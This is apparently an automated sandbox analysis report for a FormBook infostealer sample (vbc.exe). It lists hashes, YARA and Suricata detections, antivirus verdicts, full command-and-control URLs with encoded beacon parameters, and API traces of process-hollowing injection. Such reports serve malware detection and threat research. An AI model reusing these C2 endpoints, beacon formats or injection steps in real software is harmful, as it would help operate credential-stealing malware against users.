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vbc.exe

NSIS UPX Malicious Library PE File DLL PE32
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6401 Oct. 21, 2021, 6:42 p.m. Oct. 21, 2021, 6:44 p.m.
Size 253.5KB
Type PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
MD5 d0e4c13e6c8ba9fe34d86b554b595d9a
SHA256 f8d9fbcef6907460baa7c91e53d1a40865901bb50906b5519cba440fdbc65032
CRC32 CAD1F828
ssdeep 6144:wBlL/c87eYm2Qs7omGr3zFBKC1pJ9r5MMApfLkmK:Ce6o2Qs8Rr3zRpHr5IjO
Yara
  • PE_Header_Zero - PE File Signature
  • IsPE32 - (no description)
  • Malicious_Library_Zero - Malicious_Library
  • UPX_Zero - UPX packed file
  • NSIS_Installer - Null Soft Installer

Suricata Alerts

Flow SID Signature Category
TCP 192.168.56.101:49208 -> 217.70.184.50:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49208 -> 217.70.184.50:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49208 -> 217.70.184.50:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49212 -> 154.64.42.97:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49212 -> 154.64.42.97:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49212 -> 154.64.42.97:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49214 -> 216.194.173.79:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49214 -> 216.194.173.79:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49214 -> 216.194.173.79:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49218 -> 198.54.117.217:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49218 -> 198.54.117.217:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49218 -> 198.54.117.217:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49220 -> 15.197.142.173:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49220 -> 15.197.142.173:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49220 -> 15.197.142.173:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49216 -> 138.128.160.186:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49216 -> 138.128.160.186:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49216 -> 138.128.160.186:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49210 -> 51.81.73.1:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49210 -> 51.81.73.1:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49210 -> 51.81.73.1:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49206 -> 138.201.145.141:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49206 -> 138.201.145.141:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49206 -> 138.201.145.141:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49204 -> 157.90.247.57:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49204 -> 157.90.247.57:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49204 -> 157.90.247.57:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected

Suricata TLS

No Suricata TLS

Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
section .ndata
suspicious_features GET method with no useragent header suspicious_request GET http://www.alifdanismanlik.com/kqna/?XPJPe4Q0=mQnobkOfgPtywstNWl93w92LClziyi9exAIAZ2dbJOdepP7Ogt31xGCBzTFokFA1igwL7X4B&EBZ=ZTFtdFihOjc0V
suspicious_features GET method with no useragent header suspicious_request GET http://www.surfsolutions.info/kqna/?XPJPe4Q0=dcnZeOVVJSfvUaco8qQNZ9XrhbJ3we+xyEUMa9yoWpEuWq2eXXPIXA5TkXgJFjsZU/Pq8NER&EBZ=ZTFtdFihOjc0V
suspicious_features GET method with no useragent header suspicious_request GET http://www.hautlescoeurscollection.com/kqna/?XPJPe4Q0=5D8+/NUJ6SHRwR8iDAR3xdQ85MKY3LVZxxY031ww84efqx2r1agFQuE5bYzBJbXYeHOEJ4PT&EBZ=ZTFtdFihOjc0V
suspicious_features GET method with no useragent header suspicious_request GET http://www.tigerstarmatka.com/kqna/?XPJPe4Q0=WsqGZAQros6YqmWTBX4NfZ/s8YWhGwfZXTAI3K43qiDXPWL+08MoNe9ItI/4zkDRJBUw3EwW&EBZ=ZTFtdFihOjc0V
suspicious_features GET method with no useragent header suspicious_request GET http://www.netkopat.com/kqna/?XPJPe4Q0=XCeMQl5kuZk/VAPz1x3NMFNaYm0TP5U/J5/9BEX1GnrVHj0GaV8zX9dSOYzSTsdbHQNQtFsF&EBZ=ZTFtdFihOjc0V
suspicious_features GET method with no useragent header suspicious_request GET http://www.candypalette.com/kqna/?XPJPe4Q0=gfz7SykQtqnvqGHDVt9Sq/sQwFu3mmkE3P7hoh5mXhnlze04JbT/9GbgDzlkmDUFL9Oz3qhg&EBZ=ZTFtdFihOjc0V
suspicious_features GET method with no useragent header suspicious_request GET http://www.globalmarineserv.com/kqna/?XPJPe4Q0=OcQswr2RSap8Tqs4oU4ZFsiLsHswYX19Q+tKNUlPXhjH/8KnGfVJ0KkYssvjpVDRe7cJzP2E&EBZ=ZTFtdFihOjc0V
suspicious_features GET method with no useragent header suspicious_request GET http://www.fraserstephendop.com/kqna/?XPJPe4Q0=/ubmoBp65Okyuu3LQpd6BICjkbw0SXb2/UwCCZwJ/Fe1H/pHrLEpRm6qotblqBtYRSTWmjxF&EBZ=ZTFtdFihOjc0V
suspicious_features GET method with no useragent header suspicious_request GET http://www.generationgirlnaturals.com/kqna/?XPJPe4Q0=y7M/lgAT23Oh1oltO5RaxlEy4Bz2jyK1luujiozG5pWU+I4JVxp3OS49isl7KGuf1hAvA74/&EBZ=ZTFtdFihOjc0V
request POST http://www.alifdanismanlik.com/kqna/
request GET http://www.alifdanismanlik.com/kqna/?XPJPe4Q0=mQnobkOfgPtywstNWl93w92LClziyi9exAIAZ2dbJOdepP7Ogt31xGCBzTFokFA1igwL7X4B&EBZ=ZTFtdFihOjc0V
request POST http://www.surfsolutions.info/kqna/
request GET http://www.surfsolutions.info/kqna/?XPJPe4Q0=dcnZeOVVJSfvUaco8qQNZ9XrhbJ3we+xyEUMa9yoWpEuWq2eXXPIXA5TkXgJFjsZU/Pq8NER&EBZ=ZTFtdFihOjc0V
request POST http://www.hautlescoeurscollection.com/kqna/
request GET http://www.hautlescoeurscollection.com/kqna/?XPJPe4Q0=5D8+/NUJ6SHRwR8iDAR3xdQ85MKY3LVZxxY031ww84efqx2r1agFQuE5bYzBJbXYeHOEJ4PT&EBZ=ZTFtdFihOjc0V
request POST http://www.tigerstarmatka.com/kqna/
request GET http://www.tigerstarmatka.com/kqna/?XPJPe4Q0=WsqGZAQros6YqmWTBX4NfZ/s8YWhGwfZXTAI3K43qiDXPWL+08MoNe9ItI/4zkDRJBUw3EwW&EBZ=ZTFtdFihOjc0V
request POST http://www.netkopat.com/kqna/
request GET http://www.netkopat.com/kqna/?XPJPe4Q0=XCeMQl5kuZk/VAPz1x3NMFNaYm0TP5U/J5/9BEX1GnrVHj0GaV8zX9dSOYzSTsdbHQNQtFsF&EBZ=ZTFtdFihOjc0V
request POST http://www.candypalette.com/kqna/
request GET http://www.candypalette.com/kqna/?XPJPe4Q0=gfz7SykQtqnvqGHDVt9Sq/sQwFu3mmkE3P7hoh5mXhnlze04JbT/9GbgDzlkmDUFL9Oz3qhg&EBZ=ZTFtdFihOjc0V
request POST http://www.globalmarineserv.com/kqna/
request GET http://www.globalmarineserv.com/kqna/?XPJPe4Q0=OcQswr2RSap8Tqs4oU4ZFsiLsHswYX19Q+tKNUlPXhjH/8KnGfVJ0KkYssvjpVDRe7cJzP2E&EBZ=ZTFtdFihOjc0V
request POST http://www.fraserstephendop.com/kqna/
request GET http://www.fraserstephendop.com/kqna/?XPJPe4Q0=/ubmoBp65Okyuu3LQpd6BICjkbw0SXb2/UwCCZwJ/Fe1H/pHrLEpRm6qotblqBtYRSTWmjxF&EBZ=ZTFtdFihOjc0V
request POST http://www.generationgirlnaturals.com/kqna/
request GET http://www.generationgirlnaturals.com/kqna/?XPJPe4Q0=y7M/lgAT23Oh1oltO5RaxlEy4Bz2jyK1luujiozG5pWU+I4JVxp3OS49isl7KGuf1hAvA74/&EBZ=ZTFtdFihOjc0V
request POST http://www.alifdanismanlik.com/kqna/
request POST http://www.surfsolutions.info/kqna/
request POST http://www.hautlescoeurscollection.com/kqna/
request POST http://www.tigerstarmatka.com/kqna/
request POST http://www.netkopat.com/kqna/
request POST http://www.candypalette.com/kqna/
request POST http://www.globalmarineserv.com/kqna/
request POST http://www.fraserstephendop.com/kqna/
request POST http://www.generationgirlnaturals.com/kqna/
Time & API Arguments Status Return Repeated

NtProtectVirtualMemory

 process_identifier: 2648
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x728d2000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2648
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 8192
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x10009000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1772
region_size: 3158016
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00930000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0xffffffff
1 0 0
file C:\Users\test22\AppData\Local\Temp\nsi649F.tmp\oirygpbyia.dll
file C:\Users\test22\AppData\Local\Temp\nsi649F.tmp\oirygpbyia.dll
Time & API Arguments Status Return Repeated

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 1772
region_size: 167936
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00400000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x00000208
1 0 0
Process injection Process 2648 called NtSetContextThread to modify thread in remote process 1772
Time & API Arguments Status Return Repeated

NtSetContextThread

 registers.eip: 2000355780
registers.esp: 1638384
registers.edi: 0
registers.eax: 4314112
registers.ebp: 0
registers.edx: 0
registers.ebx: 2130567168
registers.esi: 0
registers.ecx: 0
thread_handle: 0x00000204
process_identifier: 1772
1 0 0
Elastic malicious (high confidence)
MicroWorld-eScan Trojan.NSISX.Spy.Gen.2
FireEye Generic.mg.d0e4c13e6c8ba9fe
Sangfor Suspicious.Win32.Save.a
Cybereason malicious.e6c8ba
Cyren W32/Injector.ANS.gen!Eldorado
Symantec Trojan.Gen.MBT
ESET-NOD32 a variant of Win32/Injector.EQIX
APEX Malicious
Paloalto generic.ml
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Trojan.NSISX.Spy.Gen.2
Emsisoft Trojan.NSISX.Spy.Gen.2 (B)
McAfee-GW-Edition BehavesLike.Win32.Vopak.dc
Sophos Mal/Generic-R
SentinelOne Static AI - Malicious PE
Avira HEUR/AGEN.1138922
MAX malware (ai score=89)
Microsoft Trojan:Win32/Sabsik.FL.B!ml
ZoneAlarm UDS:DangerousObject.Multi.Generic
GData Zum.Androm.1
Cynet Malicious (score: 100)
McAfee Artemis!D0E4C13E6C8B
Fortinet W32/Injector.EQGK!tr
Time & API Arguments Status Return Repeated

CreateProcessInternalW

 thread_identifier: 1824
thread_handle: 0x00000204
process_identifier: 1772
current_directory:
filepath: C:\Users\test22\AppData\Local\Temp\vbc.exe
track: 1
command_line: "C:\Users\test22\AppData\Local\Temp\vbc.exe"
filepath_r: C:\Users\test22\AppData\Local\Temp\vbc.exe
stack_pivoted: 0
creation_flags: 134217732 (CREATE_NO_WINDOW|CREATE_SUSPENDED)
inherit_handles: 0
process_handle: 0x00000208
1 1 0

NtGetContextThread

 thread_handle: 0x00000204
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1772
region_size: 167936
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00400000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x00000208
1 0 0

NtSetContextThread

 registers.eip: 2000355780
registers.esp: 1638384
registers.edi: 0
registers.eax: 4314112
registers.ebp: 0
registers.edx: 0
registers.ebx: 2130567168
registers.esi: 0
registers.ecx: 0
thread_handle: 0x00000204
process_identifier: 1772
1 0 0